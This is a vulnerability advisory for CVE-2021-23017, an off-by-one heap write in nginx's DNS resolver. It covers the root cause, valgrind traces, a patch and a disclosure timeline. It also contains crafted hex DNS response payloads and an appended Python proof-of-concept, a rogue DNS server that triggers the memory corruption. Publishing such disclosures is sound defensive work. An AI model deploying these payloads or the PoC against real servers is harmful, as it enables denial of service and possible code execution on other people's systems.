Advisory X41-2021-002: nginx DNS Resolver Off-by-One Heap Write Vulnerability
=============================================================================
Severity Rating: High
Confirmed Affected Versions: 0.6.18 - 1.20.0
Confirmed Patched Versions: 1.21.0, 1.20.1
Vendor: F5, Inc.
Vendor URL: https://nginx.org/
Vendor Reference: http://mailman.nginx.org/pipermail/nginx-announce/2021/000300.html
Vector: Remote / DNS
Credit: X41 D-SEC GmbH, Luis Merino, Markus Vervier, Eric Sesterhenn
Status: Public
CVE: CVE-2021-23017
CWE: 193
CVSS Score: 8.1
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C
Advisory-URL: https://www.x41-dsec.de/lab/advisories/x41-2021-002-nginx-resolver-copy/
Summary and Impact
------------------
An off-by-one error in ngx_resolver_copy() while processing DNS
responses
allows a network attacker to write a dot character ('.', 0x2E) out
of bounds
in a heap allocated buffer. The vulnerability can be triggered by a
DNS
response in reply to a DNS request from nginx when the resolver
primitive
is configured. A specially crafted packet allows overwriting the
least
significant byte of next heap chunk metadata with 0x2E. A network
attacker
capable of providing DNS responses to a nginx server can
achieve
Denial-of-Service and likely remote code execution.
Due to the lack of DNS spoofing mitigations in nginx and the fact
that the
vulnerable function is called before checking the DNS Transaction
ID, remote
attackers might be able to exploit this vulnerability by flooding
the
victim server with poisoned DNS responses in a feasible amount of
time.
Root Cause Analysis
-------------------
nginx DNS resolver (core/ngx_resolver.c) is used to resolve
hostnames via DNS
for several modules when the resolver primitive is set.
ngx_resolver_copy() is called to validate and decompress each DNS
domain name
contained in a DNS response, receiving the network packet as input
and a
pointer to the name being processed, and returning a pointer to a
newly
allocated buffer containing the uncompressed name on success. This
is done
in two steps,
1) The uncompressed domain name sizelenis calculated and the input
packet is
validated, discarding names containing more than 128 pointers or
containing
pointers that fall out of the input buffer boundaries.
2) An output buffer is allocated, and the uncompressed name is
copied into it.
A mismatch between size calculation in part 1 and name
decompression in part 2
leads to an off-by-one error inlen, allowing to write a dot
character one byte
off name->data boundaries.
The miscalculation happens when the last part of the compressed
name contains a
pointer to a NUL byte. While the calculation step only accounts
dots between
labels, the decompression step writes a dot character every time a
label has
been processed and next character is not NUL. When a label is
followed by a
pointer that leads to a NUL byte, the decompression procedure
will:
// 1) copy the label to the output buffer,
ngx_strlow(dst, src, n);
dst += n;
src += n;
// 2) read next character,
n = *src++;
// 3) as its a pointer, its not NUL,
if (n != 0) {
// 4) so a dot character that was not accounted for is written out
of bounds
*dst++ = '.';
}
// 5) Afterwards, the pointer is followed,
if (n & 0xc0) {
n = ((n & 0x3f) << 8) + *src;
src = &buf[n];
n = *src++;
}
// 6) and a NULL byte is found, signaling the end of the
function
if (n == 0) {
name->len = dst - name->data;
return NGXOK;
}
If the calculated size happens to align with the heap chunk
size, the dot
character, written out of bounds, will overwrite the least
significant byte
of next heap chunk size metadata. This might modify the size of the
next heap
chunk, but also overwrite 3 flags, resulting in PREV_INUSE being
cleared
and IS_MMAPPED being set:
==7863== Invalid write of size 1
==7863== at 0x137C2E: ngx_resolver_copy (ngx_resolver.c:4018)
==7863== by 0x13D12B: ngx_resolver_process_a
(ngx_resolver.c:2470)
==7863== by 0x13D12B: ngx_resolver_process_response
(ngx_resolver.c:1844)
==7863== by 0x13D46A: ngx_resolver_udp_read
(ngx_resolver.c:1574)
==7863== by 0x14AB19: ngx_epoll_process_events
(ngx_epoll_module.c:901)
==7863== by 0x1414D4: ngx_process_events_and_timers
(ngx_event.c:247)
==7863== by 0x148E57: ngx_worker_process_cycle
(ngx_process_cycle.c:719)
==7863== by 0x1474DA: ngx_spawn_process (ngx_process.c:199)
==7863== by 0x1480A8: ngx_start_worker_processes
(ngx_process_cycle.c:344)
==7863== by 0x14952D: ngx_master_process_cycle
(ngx_process_cycle.c:130)
==7863== by 0x12237F: main (nginx.c:383)
==7863== Address 0x4bbcfb8 is 0 bytes after a block of size 24
alloc'd
==7863== at 0x483E77F: malloc (vg_replace_malloc.c:307)
==7863== by 0x1448C4: ngx_alloc (ngx_alloc.c:22)
==7863== by 0x137AE4: ngx_resolver_alloc (ngx_resolver.c:4119)
==7863== by 0x137B26: ngx_resolver_copy (ngx_resolver.c:3994)
==7863== by 0x13D12B: ngx_resolver_process_a
(ngx_resolver.c:2470)
==7863== by 0x13D12B: ngx_resolver_process_response
(ngx_resolver.c:1844)
==7863== by 0x13D46A: ngx_resolver_udp_read
(ngx_resolver.c:1574)
==7863== by 0x14AB19: ngx_epoll_process_events
(ngx_epoll_module.c:901)
==7863== by 0x1414D4: ngx_process_events_and_timers
(ngx_event.c:247)
==7863== by 0x148E57: ngx_worker_process_cycle
(ngx_process_cycle.c:719)
==7863== by 0x1474DA: ngx_spawn_process (ngx_process.c:199)
==7863== by 0x1480A8: ngx_start_worker_processes
(ngx_process_cycle.c:344)
==7863== by 0x14952D: ngx_master_process_cycle
(ngx_process_cycle.c:130)
More information about general exploitability of a similar bug
class found in
* Chrome OS exploit: one byte overflow and symlinks
https://googleprojectzero.blogspot.com/2016/12/chrome-os-exploit-one-byte-overflow-and.html
* Project Zero's Poisoned NULL Byte
https://googleprojectzero.blogspot.com/2014/08/the-poisoned-nul-byte-2014-edition.html
* Hiroki Matsukama's House of Einherjar
https://www.slideshare.net/codeblue_jp/cb16-matsukuma-en-68459606
https://www.youtube.com/watch?v=tq3mPjsl-H0
Given the rich interaction opportunities in nginx with user
controller data
and the documented precedents this bug is considered exploitable
for remote
code execution on some operating systems and architectures.
Attack Vector Analysis
----------------------
There are several ways in which a DNS response can trigger the
vulnerability.
First, nginx must have sent a DNS request and must be waiting for a
response.
Then, a poisoned name can be injected in several parts of a DNS
response:
* DNS Questions QNAME,
* DNS Answers NAME,
* DNS Answers RDATA for CNAME and SRV responses,
Keep in mind that the vulnerable function can be hit several times
while
processing a response, effectively performing several off-by-one
writes,
by crafting a response with several poisoned QNAME, NAME or RDATA
values.
Furthermore, when the attacker delivers a poisoned CNAME, it will
be
resolved recursively, triggering an additional OOB write during
ngx_resolve_name_locked() call to ngx_strlow()
(ngx_resolver.c:594)
and additional OOB reads during ngx_resolver_dup()
(ngx_resolver.c:790)
and ngx_crc32_short() (ngx_resolver.c:596).
An example payload of DNS response for a 'example.net' request,
containing
a poisoned CNAME:
bcb881800001000100000000076578616d706c65036e657400001c0001c00c0005000100000e10000b0141c004
^ | ^ pointer to position 0x04 -|
NULL byte
<----------------------------------------------------------------------------------------------|
|
^ 1 byte label
A slightly different payload (the one in poc.py) fills enough
bytes to
overwrite the nextchunk.mchunk_size least significant byte with a
dot:
bcb881800001000100000000076578616d706c65036e657400001c0001c00c0005000100000e10000b18414141414141414141414141414141414141414141414141c004
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
|
24 bytes label
A 24 bytes label leads to a 24 bytes buffer allocated, which is
filled with 24
bytes + an out of bounds dot character.
Fix / Workarounds
-----------------
Allocating an extra byte for the spurious dot character written
at the end
of the poisoned domain names mitigates the issue.
--- ngxresolver.c 2021-04-06 15:59:50.293734070 +0200
+++ src/nginx-1.19.8/src/core/ngxresolver.c 2021-04-06
15:54:10.232975235 +0200
@@ -3943,7 +3928,7 @@
ngx_uint_t i, n;
p = src;
- len = -1;
+ len = 0;
/*
* compression pointers allow to create endless loop, so we set
limit;
@@ -3986,7 +3971,7 @@
return NGX_OK;
}
- if (len == -1) {
+ if (len == 0) {
ngx_str_null(name);
return NGX_OK;
}
Official fix can be found at http://nginx.org/download/patch.2021.resolver.txt
Proof-of-Concept
----------------
A dummy DNS server delivering a poisoned payload that triggers
this
vulnerability can be downloaded from
https://github.com/x41sec/advisories/blob/master/X41-2021-002/poc.py
The described vulnerability can be tested by running nginx with the
provided
config as follows under valgrind (https://www.valgrind.org/):
valgrind --trace-children=yes objs/nginx -p ../runtime -c conf/reverse-proxy.conf
Then run the DNS server (will listen on port 1053 by default):
python poc.py
and trigger a request to the server:
curl http://127.0.0.1:8080/
Depending on the heap layout when the bug triggers, the malloc
mitigations
might detect or not the effect. Several ways of showing up in the
logs arise:
corrupted size vs. prev_size
2021/04/16 13:35:15 [alert] 2501#0: worker process 2502 exited on
signal 6 (core dumped)
malloc(): invalid next size (unsorted)
2021/04/16 13:35:34 [alert] 2525#0: worker process 2526 exited on
signal 6 (core dumped)
Nevertheless, valgrind and AdressSanitizer will always detect
the memory
corruption.
nginx config used
-----------------
daemon off;
http{
access_log logs/access.log;
server{
listen 8080;
location / {
resolver 127.0.0.1:1053;
set $dns http://example.net;
proxy_pass $dns;
}
}
}
events {
worker_connections 1024;
}
Timeline
--------
2021-04-30 Issue reported to maintainers
2021-05-17 Issue reported to distros mailing list
2021-05-18 CVE assigned
2021-05-25 Public disclosure
About X41 D-SEC GmbH
====================
X41 is an expert provider for application security services. Having
extensive industry experience and expertise in the area of
information security, a strong core security team of world class
security experts enables X41 to perform premium security
services.
Fields of expertise in the area of application security are
security centered code reviews, binary reverse engineering and
vulnerability discovery. Custom research and IT security consulting
and support services are core competencies of X41.
-----
Packet Storm Addition of PoC:
from binascii import hexlify, unhexlify
from socket import AF_INET, SOCK_DGRAM, socket
from struct import unpack
sock = socket(AF_INET, SOCK_DGRAM)
sock.bind(('0.0.0.0', 1053))
while True:
request, addr = sock.recvfrom(4096)
print(b'<<< '+hexlify(request))
ident = request[0:2]
# find request
nullptr = request.find(0x0,12)
reqname = request[12:request.find(0x0,12)+1]
reqtype = request[nullptr+1:nullptr+3]
reqclass = request[nullptr+3:nullptr+5]
print('name: %s, type: %s, class: %s' % (reqname, unpack('>H',
reqtype), unpack('>H', reqclass)))
# CNAME response
response = request[0:2] + \
unhexlify('''81800001000100000000''') + \
reqname + reqtype + reqclass + \
unhexlify('c00c0005000100000e10000b18414141414141414141414141414141414141414141414141c004')
print(b'>>> '+hexlify(response))
sock.sendto(bytes(response), addr)
